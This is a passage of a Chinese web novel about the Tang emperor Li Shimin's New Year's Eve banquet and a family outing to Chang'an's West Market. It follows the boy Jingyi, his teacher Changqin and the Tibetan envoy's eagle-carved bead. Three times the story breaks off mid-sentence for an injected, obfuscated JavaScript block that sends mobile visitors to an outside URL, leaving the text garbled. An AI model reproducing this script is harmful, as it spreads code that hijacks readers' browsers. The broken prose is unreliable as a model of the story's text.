他忽然想起祝融说的话,“过年就要开开心心的”。
他现在,真的真的很开心。
胸口的玉锁持续散发着暖意,那暖意流遍全身,让他一点都不觉得累。
场中,李世民与长孙皇后舞至一处。皇帝伸手,皇后将手搭在他掌心,两人相视一笑,在乐声中缓缓旋转。那一刻,他们不是帝后,只是一对在除夕夜共舞的寻常夫妻。
长琴的席位早已空了。他在舞会开始不久便悄然离席。他终究不习惯这般喧闹,但此刻他站在殿外的廊下,望着殿内的欢乐景象。
寒风卷着雪沫扑在他脸上,他却觉得心头某处,微微地暖了起来。
子时将近,乐声渐歇。
众人气喘吁吁地回到席位,个个面色红润,额角见汗,发髻微乱。程咬金的玉冠歪到了一边,房玄龄的胡须上还沾着酒渍,禄东赞的豹皮袍子敞开了一半。但这些都无损他们的笑容。
李世民举杯做最后致词。他声音因饮酒和舞蹈而有些沙哑,却满是畅快:“今夜,朕看见了武将的豪迈,文臣的洒脱,使臣的真诚,还有朕的孩子们最纯真的笑脸。”
他顿了顿,目光缓缓扫过全场,每一个人的脸:“这就是朕想要的大唐,不是高高在上的天朝上国,而是一个能让所有人安心欢笑、能让四海宾朋如归的家。”
“愿我大唐——”他高高举杯,“岁岁有今日,年年有今朝!”
“愿大唐永昌!”
殿中所有人,无论君臣、无论华夷,齐声高呼。那声音汇成一股洪流,冲出殿门,在除夕夜的皇宫上空久久回荡。
宴散了。
景颐被丽质牵着往外走,一步三回头。殿中宫人们开始收拾杯盘,乐工们整理乐器,那些璀璨的宫灯一盏盏熄灭,温暖的光海渐渐褪去。
走到殿门口时,景颐忽然回头看向使臣席,禄东赞正与麴文泰交谈什么,手中仍捻着那串紫檀念珠。念珠在宫灯下泛着幽光,某一颗珠子上似乎刻着个极小的图案……
景颐眼睛一凝,他看清了,那是只展翅的鹰。
而这只鹰,他在梦中见过。在雪山之巅,在那位老喇嘛交给年轻禄东赞念珠时,老喇嘛的袈裟袖口就绣着同样的鹰纹。
那一瞬间,景颐脑海又闪过画面:一间昏暗的帐篷里,年轻的禄东赞跪在一位老者面前,老者将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156886|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
匕首郑重地放在他手中,说了句什么。但那句话景颐听不清,只看见口型。
“景颐,走啦!”李治困得眼皮打架,被宫人抱着,还努力朝景颐挥手。
宫道上积雪已被清扫干净,两侧宫灯在夜风中摇曳,投下长长短短的光影。李承乾和李泰并肩走着,兄弟俩还在兴奋地讨论刚才的舞蹈。
“大兄你看见没?魏徵大人跳舞时,每一步都像在量地!”李泰模仿着魏徵板正的步子,逗得李承乾忍俊不禁。
“你啊……”太子殿下笑着摇头,却也没制止弟弟的顽皮。
走到凝云轩门口,景颐看见长琴正站在廊下等他。先生换了身素白常服,长发披散下来,发梢还沾着夜露的湿气。他手中提着一盏小小的羊皮灯,暖黄的光晕在寒夜里格外温柔。
“师父!”景颐跑过去,靴上金铃叮当作响,“师父看到我跳舞了吗?我跳得可好了!”
长琴眼底有淡淡的笑意:“看到了。”他顿了顿,伸手拂去景颐肩头不知何时沾上的彩纸屑,“玩得开心?”
“开心!”景颐用力点头,忽然想到什么,“对了师父,那个吐蕃人的念珠……”
“明日再说。”长琴打断他,领他进屋,“子时已过,该睡了。”
景颐还想说什么,却打了个大大的哈欠。兴奋劲儿过去后,困意如潮水般涌来。他乖乖点头,跟着长琴进屋。
长琴替他解开发带,脱下锦袄,换上寝衣。景颐躺在床上,手里还攥着那枚玉锁,眼睛却已经睁不开了。
“师父……”他含糊地问,“明年……还一起过年吗?”
“嗯。”
“那后年呢……”
“睡吧。”
长琴吹熄蜡烛,轻手轻脚退出房间。他没有立刻离开,而是在廊下静立了片刻。
此刻子时正,旧岁已除,新岁伊始。远处长安城坊间,隐约还能听到爆竹声、欢笑声、更夫报时的梆子声。那些声音混在一起,织成新年的第一首夜曲。
而在皇宫西北角的天工苑内,几个老匠人还未休息。他们正小心翼翼地将第一批试验成功的爆竹装箱封存。这些用新配方制成的爆竹,威力比传统竹节大了十倍不止,点燃后声响如雷,能炸开三尺厚的积雪。
但还远未到李世民梦中那种开山裂石的程度。
王匠人将最后一箱封好,直起腰,揉了揉酸痛的肩膀。他望向窗外皇宫方向,那里灯火已熄了大半。老匠人轻声喃喃:“陛下要的利器……路还长啊。”
李世民回到甘露殿时,醉意已散了大半。
他站在窗前,手中摩挲着长琴所赠的奇异果实,而它能让梦境更清晰。
今夜宴会上的种种画面在他脑中回放:百官的笑容、使臣的真诚、孩子们的笑脸、还有观音婢跳舞时活泼模样……
最后定格在所有人在殿中手拉手共舞的画面。
这样的盛世,他要它长久。
不只是他在位的这些年,他要这盛世能传下去,传给他的子孙,传给百年、千年后的大唐子民。
窗外,雪又悄悄下了起来。细细的,柔柔的,在宫灯的光晕中如碎玉般飘洒。它们覆盖了宫道上的脚印,覆盖了宴席散尽的余温,覆盖了旧岁所有的遗憾与不足。
只留下一片纯白,等待新年的第一缕阳光。
而此刻,长安城一百零八坊中,千家万户都还亮着灯。守岁的人们围炉夜话,孩童们枕着压岁钱入睡,更夫敲着梆子走过空荡的街巷……
这是贞观四年的除夕夜。
这是李世民治下的,正在迈向盛世的大唐。
31.第 31 章
新年的第一缕阳光照进凝云轩时,景颐还在被窝里蜷成一团。昨夜守岁到子时,又跳了那么久的舞,小家伙睡得格外沉。
长琴轻轻推门进来,将一碗冒着热气的元宝馄饨放在床头小几上。馄饨是尚食局特制的,皮薄馅大,汤里加了虾米、紫菜和蛋丝,香气很快弥漫了整个房间。
被窝里的小鼓包动了动。先是一绺黑发从被子边缘探出来,接着是半张睡眼惺忪的脸,眼睛半眯着,鼻子却像被无形的手牵着,直往碗的方向凑。
“醒了就起来。”长琴的声音带着难得的温和,“今日元日,陛下特许休沐七日。皇后说,要带你们出宫走走。”
“出宫?!”景颐瞬间睁眼,眼睛亮得惊人,“真的吗?去哪儿?什么时候?”
“巳时出发。”长琴替他拿来新衣,是一件寻常富家小公子穿的青色小袍,外罩兔毛坎肩,“快些洗漱。”
景颐,穿衣洗漱一气呵成,三两下扒完馄饨。等他跑到凝云轩门口时,丽质和李治已经在那儿等着了。
丽质今日换了身桃粉襦裙,外罩浅蓝半臂,头发梳成双环髻,只插了支珍珠簪,比昨日少了几分华贵,多了几分少女的清新。李治则穿着靛蓝小袍,头戴幞头,像个小书生。
“景颐!”李治兴奋地拉住他,“娘娘说带我们去西市看百戏!还有胡人卖艺!”
“耶耶和大兄、四兄也去。”丽质补充道,眼中闪着期待的光,“耶耶说,今日不讲君臣,只论父子,让我们……嗯,让我们好好玩。”
这话说得景颐更兴奋了。他想起昨夜宴会上万国共舞的景象,想起那些奇装异服的胡人,想起甜滋滋的葡萄美酒,想起喷火的幻术师……今天又能亲眼看见了!
三人叽叽喳喳说笑着往安福门走。宫道上已经清扫干净,积雪堆在墙角,宫人们正在挂新的红灯笼。远处传来隐约的爆竹声,那是宫外百姓家在放开门炮。
既是微服出游,皇帝的仪仗自然不能大张旗鼓。事实上,根本没有仪仗。
巳时正,两辆不起眼的青篷马车停在安福门内的宫道上。马车是寻常富商用的那种,青布车篷,榆木车厢,连拉车的马都是普通的枣红马,马具朴素无华。
李世民今日穿了一身赭红色暗纹常服,外披灰鼠皮大氅,头戴黑色软脚幞头,腰束革带,脚蹬乌皮靴。乍一看,像个家境殷实、气度不凡的中年商人。
长孙皇后则是一身藕荷色交领襦裙,外罩银狐斗篷,发髻简单绾成单髻,只用一支素玉簪固定。她脸上薄施脂粉,眉间贴了枚小巧的红色花钿,眉目温婉,正笑着和李世民说着话。
李承乾和李泰站在父母身后。太子殿下穿着深蓝色圆领袍,努力想摆出沉稳模样,但那双眼睛里跳动的兴奋光芒藏不住。李泰则是一身绛红胡服,腰束革带,足蹬皮靴,头发用金环束成高马尾,活脱脱个准备撒欢的小郎君。
“都到齐了?”李世民环视众人,眼中带着轻松笑意,“今日出宫,约法三章:一不许称陛下皇后,二不许行大礼,三不许摆架子。一切称呼与民间一致。记住了吗?”
“记住了!”孩子们齐声应道,个个眉开眼笑。
“先生,”李世民转向长琴,拱手道,“今日有劳您照看这些皮猴。”
“分内之事。”长琴还礼。
侍卫牵来两匹马。一匹是通体乌黑的骏马,四蹄如雪,是李世民的坐骑乌骓,另一匹是青骢马,毛色油亮,安静温顺。
李世民翻身上马,动作利落。长琴也轻身跃上青骢马背,衣袂在晨光中飘拂。
孩子们往马车去。李承乾先扶长孙皇后上了前车,丽质和李治跟着上去。李泰正要上车,忽然眼珠一转,回头看向景颐:“景颐,想不想骑马?”
景颐眼睛一亮:“想!”
他哒哒哒跑到长琴马前,仰着小脸,张开胳膊:“师父!带我!”
长琴还未答话,李泰已经大笑着跑过来,一把将景颐拦腰抱起:“得了吧你!先生那马可驮不动两个!来,跟我坐车!”
景颐还没反应过来,就被李泰像拎小猫似的拎起来,塞进了后车车厢。车里铺着厚实的羊毛毯,李承乾已经在里面坐定了。
“四弟!”太子不赞同地皱眉,“莫要胡闹。”
“哪儿胡闹了?”李泰笑嘻嘻地在景颐旁边坐下,“这不是怕他摔着嘛!”
李世民朗声笑道:“走!”一抖缰绳,马儿缓步前行,长琴策马跟上。车夫甩了个响鞭,马车辘辘驶出安福门,融入了长安城新年第一日的喧嚣人海。
正月初一的长安西市,热闹得简直要把屋顶掀翻。
马车在西市坊门前停稳时,喧闹的声浪已经像温热的潮水般涌了过来。
李治第一个扒开车窗,圆溜溜的眼睛瞪得老大:“哇——好多人!”
只见坊门内,人流如织,彩幡飘扬。卖糖人的、吹面人的、耍猴的、演傀儡戏的……各色摊子沿街排开,吆喝声此起彼伏,混着孩童的笑闹声、爆竹的噼啪声,织成一片沸腾的新年乐章。
“都下车吧。”李世民先利落地翻身下马,转身去扶长孙皇后下车。她今日那身藕荷色襦裙在阳光下泛着柔和光泽,银狐斗篷的毛领衬得她面容温婉。
丽质提着裙摆跳下车,鹅黄襦裙的裙摆旋开一朵花。
李承乾扶着李治下车,太子殿下今日努力想显得沉稳,但嘴角的笑意压不住。李泰最是利落,直接蹦下来,绛红胡服像团火。
“哎哟!”景颐也想学李泰往下跳,被长琴伸手轻轻一提,稳稳落地。
“师父!”景颐仰头,眼睛亮晶晶的,“这里好热闹!”
长琴今日换了白金常服,外罩鹤氅,站在闹市街口仍是一身清寂。他微微颔首,目光扫过坊门内的人潮,眉头几不可察地动了动,太吵了。
“都跟紧!”李世民提高声音,坊门前的喧闹几乎要把人声淹没,“高明牵好雉奴,青雀你看好景颐,三娘跟着你阿娘!”
孩子们齐齐应声,眼睛都亮晶晶的。
正要进坊门,忽听身后传来惊讶的唤声:“陛下……李公?”
回头一看,竟是魏徵与夫人提着竹篮站在不远处。魏徵今日没穿官服,一身深青布袍,头上戴了个普通的黑色幞头,手里篮子里装着还带着露水的青菜、两条活蹦乱跳的鲤鱼。魏夫人则是一身靛蓝襦裙,挽着发髻,温婉朴实。
“魏公、魏夫人。”李世民含笑拱手,“也来买年货?”
魏徵愣了愣,连忙放下篮子要行礼,被长孙皇后含笑扶住:“今日不论那些,只当是邻里串门。”
“是、是。”魏徵直起身,目光落在孩子们身上,严肃的脸上难得露出慈和笑意。
几个孩子规规矩矩行礼:“魏伯伯、魏伯母安好。”
魏夫人从篮里摸出几个红彤彤的柿子,塞给孩子们:“东市那边买的,甜得很。”
孩子们道谢接过。魏徵又低声对李世民道:“西市今日人多,李公可要多留心。”
“有劳魏公挂心。”李世民笑道,“你们这是要去……”
“买些新鲜羊肉,晚上包饺子。”魏夫人接话,脸上洋溢着过年的喜气,“他啊,就爱吃我拌的馅儿。”
魏徵难得红了耳根,轻咳一声。两家人又寒暄几句,便各自散去。魏徵夫妇往肉铺去,李世民一行则汇入西市的人潮。
一进坊门,热闹便扑面而来。
左侧空地上,一群昆仑奴正表演驯象。那只披彩绸的小象不过半人高,用灵巧的鼻子卷起摊主备好的花束,一一献给围观的娘子们。被献花的娘子们又惊又喜,娇笑连连,周围看客也跟着起哄。
李治看得眼睛都直了,拽着长孙皇后的袖子:“阿娘!象鼻子好厉害!”
“嗯,厉害。”长孙皇后笑着,将他往身边拢了拢。
右侧杂耍班子那里传来阵阵喝彩。一个赤膊壮汉正表演胸口碎大石,另一个汉子抡起大锤——“砰!”石板应声而裂,壮汉却毫发无伤地站起来,抱拳转圈。铜钱如雨点般抛入场中,叮当作响。
“好!”李泰兴奋地拍手,从怀里摸出一把铜钱就要扔,被李承乾轻轻按住:“四弟,莫要太招摇。”
李泰撇撇嘴,还是听话地只扔了几枚。
景颐的注意力却被吐火罗艺人的表演吸引了。那是个侏儒人,他喝了一大口酒,对着火把猛地一喷,“轰!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162157|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
一条青白色的火龙从他口中窜出,足足有三丈长,炽烈的火焰在空中翻滚,热浪扑面而来。
“好!!!”铜钱、碎银如雨点般抛入场中。
景颐看得入神,眼睛跟着那青白色火焰移动。那火焰和他平时见的火不太一样,是一种发青发白的、异常炽烈刺目的光。火焰边缘的空气都在扭曲,发出细微的噼啪声。
他下意识看向师父。师父站在人群外围,目光也落在那火焰上,眉头微不可察地蹙了蹙。
“看什么呢这么入神?”李泰凑过来,顺着他的目光看去,“哦,喷火啊,去年就看过了。”
“那火……”景颐喃喃,话未说完,肩膀被人轻轻撞了下。
回头一看,竟是秦琼携夫人和两个小孙女站在身后。秦琼今日穿了身褐色胡服,外罩羊皮坎肩,夫人则是一身绛红襦裙,两个小孙女一个七八岁,一个五六岁,都穿着崭新的花袄,手里各拿着一个糖人。
“李公,长孙夫人。”秦琼笑着拱手,“真巧啊。”
“秦公也带孙女出来玩?”长孙皇后温声问,目光落在两个小女孩身上,“都这么大了。”
秦夫人笑道:“可不是,这两个丫头从昨儿就念叨,非要来看百戏。”
她看向孩子们,“这是大郎和四郎吧?都成大小伙子了。也长高了。”目光在景颐身上停了停,“这位小郎君是……”
“家中晚辈,景颐。”李世民自然道。
景颐扬起笑脸:“秦伯伯、秦伯母安好。”
两个秦家小娘子躲在祖母身后,好奇地探出头打量景颐。稍大些的那个忽然指着景颐的眼睛,小声对妹妹说:“他的眼睛颜色好特别,像阿爷藏的陈年普洱。”
一番童趣言论,众人都笑了。秦琼笑骂:“这丫头!”
寒暄几句,秦琼一家往卖皮影的摊子去了。李世民一行则继续前行,很快被糖画摊吸引。
摊主是个精瘦的中年汉子,铜勺舀起金黄的糖稀,手腕一抖一甩,糖稀如丝线般流淌,眨眼间一只展翅的凤凰就成了形。排队的人里三层外三层,孩子们看得挪不动步。
“我要麒麟!”景颐第一个举手。
“我要蝴蝶!”丽质细声道。
“我要小兔子!”李治扒着摊子边缘踮脚。
李泰最豪气:“给我画条龙!”
“龙可费工夫!”摊主笑道,手上却不停。不多时,糖麒麟、糖蝴蝶、糖兔子一一成型,最后那条糖龙更是盘旋生动,龙须纤毫毕现。李泰接过,得意得眉毛都要飞起来。
众人举着糖画继续逛,刚走几步,又碰上了熟人。
绸缎庄门口,房玄龄正负手站在檐下,夫人则在店内与掌柜细说布料。房家两个儿子老老实实地站在父亲身后,眼睛却不住往热闹的街市瞟。
“房公。”李世民含笑上前。
房玄龄闻声转头,先是一愣,随即笑着拱手:“李公也来了?真是巧。”
“带孩子见见世面。”李世民道,看向房家两个少年,“二位郎君都长高了不少。”
房家长子沉稳,次子活泼,都拱手见礼。房夫人闻声从店内出来,手里还拿着一匹雨过天青色的蜀锦:“李公、长孙夫人。哟,孩子们都来了。”
长孙皇后与她寒暄起来,两位夫人讨论着布料的质地、颜色、裁什么款式最合适。景颐听着那些吴绫、越罗、蜀锦的名词,似懂非懂,只专注地舔着糖麒麟的角,糖已经开始化了。
正说着,前方传来震天的喝彩声。众人抬头望去,只见程咬金和尉迟恭两家正围在斗鸡场边。程咬金嗓门最大,震得半条街都能听见:“咬它!啄它眼睛!对!就这样!”
他身边站着夫人和两个半大儿子,程夫人一手捂着脸,一手使劲拉他袖子,程咬金却浑然不觉,激动得直跺脚。
尉迟恭则抱着臂站在稍远处,身后是温婉的夫人和独子尉迟宝林。尉迟夫人正低声对儿子说着什么,尉迟宝林却眼睛发亮地盯着场中斗得难分难解的两只大公鸡。
“这两个老货……”房玄龄摇头失笑,眼中却无责怪之意。
李世民也笑:“让他们闹去,一年到头难得松快。”
32.第 32 章
逛到午时,日头当空,众人皆有些疲乏。李世民领着一行人进了一家胡姬酒楼歇脚。
这酒楼名叫醉月楼,两层高,门面装饰极有特色:檐下挂着波斯风格的织锦门帘,门楣上镶着大食来的彩色玻璃片,阳光一照,流光溢彩。推开厚重的胡桃木门,一股混杂着香料、烤肉、葡萄酒的浓郁香气扑面而来。
大堂里座无虚席,人声鼎沸。跑堂的伙计都是胡人少年,穿着紧身胡服,托着铜盘在桌间穿梭如鱼。正中台子上,几个胡姬正在跳柘枝舞,手鼓和琵琶声热闹欢快。
掌柜的是个高昌人,五十来岁,留着山羊胡,见李世民一行人衣着体面、气度不凡,连忙亲自迎上来:“几位客官楼上雅间请!今日元日,雅间不加钱!”
二楼雅间临街,推开雕花木窗就能俯瞰西市街景。房间铺着波斯地毯,墙上挂着大食挂毯,角落香炉里燃着不知名的异域香料,烟气袅袅。
众人刚坐下,门外便传来琵琶声,三个胡姬抱着乐器进来,盈盈行礼。
“客官想听什么曲?”弹琵琶的胡姬操着生硬汉语问,笑容明媚。
李世民笑道:“来首热闹的,应景的。”
胡姬们相视一笑。琵琶弦急拨,如珠落玉盘,筚篥声高亢嘹亮,直冲云霄,手鼓敲出急促多变的节奏。三人合奏一曲《西凉曲》,奏得豪迈奔放,仿佛把大漠风沙、边关铁马都带进了这小小的雅间。
李承乾和李泰听得入神,手指在桌上轻轻打拍子。丽质则盯着胡姬们色彩斑斓的衣裙看,石榴红的窄袖衫,宝蓝色的曳地长裙,金银线绣出繁复的缠枝花纹,行动时环佩叮当。
菜肴陆续上桌:一整只烤得滋滋冒油、外焦里嫩的羊腿,撒着孜然和芫荽;金黄的抓饭,混着胡萝卜丁、葡萄干和碎羊肉;拌着香料的胡豆,麻辣鲜香;还有一壶葡萄美酒,盛在琉璃壶中,紫红晶莹。
李承乾用银刀切下几块块羊腿肉,分给众人。
羊肉外皮酥脆,内里鲜嫩多汁,香料的味道完美渗入每一丝纤维。景颐幸福地眯起眼,腮帮子鼓得像只仓鼠。
吃着吃着,他的目光又飘向窗外。街对面有家吐蕃人开的香料铺子,招牌上写着吐蕃文和汉文对照的雪域香铺。几个吐蕃汉子正在卸货,他们身材高大,穿着皮袍,抬着沉重的柏木箱子。
其中一口箱子的缝隙松了,漏出些暗红色的粉末。一个汉子连忙用手捂住,神色紧张地四下张望,然后迅速将箱子抬进店里。
那粉末……景颐微微睁大眼睛。他在梦里见过类似的颜色,在雪山之巅的祭坛上,老喇嘛将这种粉末撒入火中,火焰瞬间变成诡异的青白色。
“景颐?”长孙皇后温和的声音唤回他的注意,“可是累了?还是菜不合口味?”
“没、没有。”景颐连忙摇头,埋头继续啃羊腿,心里却记下了那家香料铺。
李世民顺着他的目光看向窗外,神色若有所思。他低声对身旁的李承乾说了句什么,太子殿下点点头,起身下楼去了。
饭后继续逛,景颐拉着丽质和李治跑到了卖皮影戏的摊子。
摊主是个白胡子老翁,手里提线操控着两个尺许高的皮影:一个是白脸奸臣,一个是红脸忠良。
木偶在老翁手中活灵活现,翻筋斗、甩袖子、捋胡子,正在演《长坂坡》。周围围了好几层孩子,个个仰着小脸,看得目不转睛。
长孙皇后则在粟特布庄挑选丝绸。老板娘是个精明的粟特妇人,摊开一匹匹流光溢彩的绸缎,在阳光下闪闪发光。
“夫人好眼力!这匹海棠红的吴绫,最适合给小娘子做春衫,衬得小脸粉扑扑的!”老板舌灿莲花。
长孙皇后笑着挑选了几匹,给丽质做衣裳,也给景颐挑了匹月白色的软缎:“颐儿皮肤白,穿这个颜色好看。”
李世民与长琴并肩走着,看似闲谈,实则交换着信息。两人走在稍微僻静些的巷子里,避开主街的喧嚣。
“先生觉得那火焰如何?”李世民低声问,他想起那吐火罗艺人喷出来的非同寻常的火焰。
“非寻常凡火。”长琴简答,声音只有两人能听见,“其中有硝石、硫磺之气,配比颇为巧妙。比王匠人他们试出来的,似乎更稳定。”
李世民颔首。这正是他所关心的火药配方。梦中那惊天动地的威力,必须有稳定可控的配方才能实现。
“那些波斯人、吐火罗人,”李世民沉吟,“他们或许真有独到之处,我已让高明去打听那杂耍班子的来历。”
正说着,前方巷口传来熟悉的笑声。众人抬头,只见禄东赞正从一家玉器铺走出来,身边跟着两个吐蕃随从。
这位吐蕃大论今日换了身打扮:唐式深紫色圆领锦袍,头戴黑色软脚幞头,腰束玉带,足蹬乌皮靴。若不细看那赭面涂膏和耳上的金环,倒像个气度雍容的长安富商。
“李公!”禄东赞眼尖,先拱手行礼。他心思深,知道此刻不便称“陛下”。
“禄公。”李世民含笑颔首,“今日也来逛市?真是巧遇。”
“元日闲来无事,买些小玩意儿。”禄东赞晃了晃手中的锦盒,目光扫过李世民身后的众人,一番寒暄后,目光最后落在景颐脸上,停留的时间稍长了些,“这位小郎君是……”
“家中晚辈,排行最幼,小名景颐。”李世民介绍得极其自然,仿佛景颐真是他子侄。
禄东赞弯腰看向景颐,笑容和善可亲:“好名字,好面相。”
他上下打量景颐,那双精明的眼睛里闪过一丝几不可察的讶异,随即恢复如常,“我与小公子有缘。”
说着,他从怀中取出那串紫檀念珠,在手中捻了捻,解下一颗珠子,正是那颗刻着鹰纹的。
“这个送小公子玩,新年讨个吉利。”
景颐愣了愣,看向长琴。先生立在几步外,微微点头。
“谢谢禄伯伯。”景颐双手接过珠子,触手温润微凉。鹰纹在阳光下清晰可见,翅膀张开,利爪前伸,眼睛处用极细的金粉点了睛,栩栩如生。
禄东赞直起身,对李世民道:“李公若得闲,三日后,正月初四,吐蕃使馆有场小宴,专请长安的几位友人。届时,有些有趣的东西可看。”
这话说得意味深长。李世民会意:“禄公相邀,一定叨扰。初四何时?”
“酉时。使馆就在醴泉坊,离西市不远。”禄东赞从袖中取出一张洒金帖子,双手奉上,“这是请柬。李公可携家眷同来,小郎君若来,会更热闹。”
李世民接过请柬,收入怀中:“一定到。”
禄东赞又行一礼,带着随从告辞离去。走出几步,他回头看了景颐一眼,目光在那颗被孩子握在手中的念珠上停留一瞬,这才真正离开。
景颐握着珠子,脑海里闪过支离破碎的画面:
雪山之巅的古老寺庙,殿内酥油灯昏暗摇曳,一位皱纹如沟壑的老喇嘛,将那串念珠郑重地放在年轻禄东赞手中,嘴唇翕动说着什么。
然后画面一转,同一串念珠被握在一只沾满血污、青筋暴起的手中,对着如血的夕阳高高举起……
他打了个寒噤。
“冷了吗?”长孙皇后关切地过来,替他拢了拢兔毛坎肩。
景颐摇摇头,将念珠小心地收进怀中内袋。珠子贴着胸口,冰凉冰凉的,和祝融给的温润玉锁形成鲜明对比。
日头渐渐西斜,西市的人潮散了不少。
众人逛了大半天的西市,在返回的路上,又碰到了几个熟人。
玉器铺门口,萧瑀正拿着支青玉簪给夫人试戴,见李世民一行,连忙放下簪子上前见礼。萧夫人脸色微红,却大大方方地向长孙皇后问好。
书铺前,虞世南老先生正捧着一卷《兰亭序》拓本细看,鼻尖都快贴到纸上了,见到李世民,激动得差点把拓本掉地上。还是书铺掌柜眼疾手快接住,连声说“虞公小心”。
甚至在卖傀儡戏的摊子前,还碰上了李靖夫妇。李靖今日难得穿常服,夫人红拂女则是一身墨绿劲装,两人正看着傀儡戏。见到景颐,李靖表情复杂,显然想起了那场哪吒公案。
景颐有些不好意思地往长孙皇后身后躲了躲。红拂女却笑了,从摊上买了个小老虎傀儡塞给他:“拿着玩。下次再梦见药师欺负哪吒,你就拿这老虎咬他。”
她说话爽利,众人都笑。李靖无奈摇头,眼底却也带着笑意。
景颐脸红着接过傀儡,深褐色的眼眸眨了眨,小声道:“谢谢伯母。”
一路走一路遇,到酉时初,几乎半个朝廷的重臣家眷都碰了个遍。李承乾小声道:“阿耶,今日长安城里的贵人,怕是都聚到西市来了。”
“一年到头,难得松快。”李世民看着熙攘的人群,笑容温暖,“君臣同乐,百姓安康,这才是我想要的大唐。”
夕阳西下时,橘红色的晚霞铺满了西市上空。灯笼陆续点亮,暖黄的光晕与晚霞交融,将整条街染成一片温暖的橘金色。
众人踏上归途,孩子们都累了,爬上马车时个个呵欠连天。
前车里,李治枕着长孙皇后的腿睡着了,小嘴微微张着,发出均匀的呼吸声。丽质也闭目养神,手里还攥着那支绒花牡丹。
后车的李承乾和李泰并肩坐着,低声讨论今日见闻,语气是难得的轻松融洽。
“四弟,你看见那只黑公鸡没有?一翅膀扇掉红鸡三根尾羽!”
“看见了!不过红鸡更狠,专啄眼睛——诶,大兄,你说耶耶让打听的那个波斯班子,会不会是……”
回去路上,李世民并未骑马,他坐在车上,握着长孙皇后的手,拇指轻轻摩挲着她手背。车厢随着街道微微摇晃,窗外是渐次亮起的万家灯火。
“今日玩得可开心?”李世民温声问。
“开心。”长孙皇后微笑,眼中却有淡淡的忧色,“只是二郎……禄东赞那宴,您真要去?还带着高明他们?”
“去。”李世民目光坚定,“他要给我看的有趣的东西,或许正是我需要的。至于高明、青雀……他们总要知道这些。”
“火药?”
“不只是火药。”李世民望向窗外渐暗的天色,“吐蕃的诚意,西域的动向,还有……未来的路。禄东赞在长安近一载,他看到的、想到的,或许比我们这些身在局中的人更清楚。”
长孙皇后沉默片刻,轻声道:“那颐儿呢?也要带他去?”
“禄东赞特意点了名。”李世民沉吟,“而且那孩子,似乎对某些东西特别敏感。今日他看那火焰、看那香料铺的神色,你也看见了。”
“妾就是担心这个。”长孙皇后握紧了他的手,“颐儿还小,那双眼睛又太干净,不该过早沾染这些……”
“有长琴先生在。”李世民安慰道,“他会护着那孩子的。”
马车驶过朱雀大街,宫门在望。长安城的万家灯火次第亮起,炊烟袅袅,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170883|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空气中飘荡着年夜饭的香气。远处坊间传来隐约的爆竹声,那是顽童在偷放未放完的炮仗。
李世民掀开车帘,望着这座他深爱的城市。街边一户人家门口,老翁正抱着小孙子贴年画,孩童清脆的笑声在暮色中格外悦耳。
“观音婢,”他轻声对身旁的皇后道,“你看,多好。”
长孙皇后微笑点头,将睡着的李治搂得更紧些。
马车驶入宫门,将市井的喧闹留在身后。但那些笑声、那些烟火气、那些平凡而温暖的瞬间,已经深深印在每个人心里。
这是贞观五年的正月初一。
这是正在苏醒的长安。
这是李世民治下,万民同乐的大唐。
回到凝云轩时,天已全黑。宫灯在廊下亮起,在积雪上投下昏黄的光晕。
景颐将今日所得一一摆在榻上:禄东赞送的刻鹰念珠、丽质给的绒花牡丹、李治分的已经化了一半的糖人、长孙皇后挑的月白软缎、还有他自己的小泥哨,吹起来声音像鸟叫。
长琴煮了壶庐山云雾,茶香清冽。他坐在景颐对面,素白的手指执起青瓷茶杯,热气袅袅上升。
“师父,”景颐戳着那颗念珠,鹰纹在烛光下仿佛在动,“今天那个喷火的艺人,用的火和李叔叔研究的火,是一样的东西吗?”
“同源不同流。”长琴啜了口茶,“硝石、硫磺、木炭,这三样,无论波斯艺人还是大唐匠人,用的都是这些。但艺人的火,求的是炫目、惊险,一瞬间的灿烂,陛下要的火,求的是威力、可控,能长久使用的利器。”
“那禄伯伯要给我们看的呢?”景颐追问,“也是火吗?”
长琴沉默片刻。烛火在他清冷的眸中跳跃,映出深邃的思索。
“或许是,另一种可能。”他缓缓道,“吐蕃地处高原,雪山之中有许多中原没有的矿物。他们的苯教巫师、佛教僧人,也传承着古老的火祭仪式。禄东赞要展示的,可能是吐蕃人对火的理解与应用。”
景颐似懂非懂地点点头。他举起那颗念珠对着烛光看,眸中鹰纹仿佛活了过来,展翅欲飞。
“师父,”他忽然问,“为什么禄伯伯要特意送我这个?这么多人,他只给了我。”
长琴放下茶杯,目光落在念珠上:“因为这颗珠子,能认人。”
“认人?”
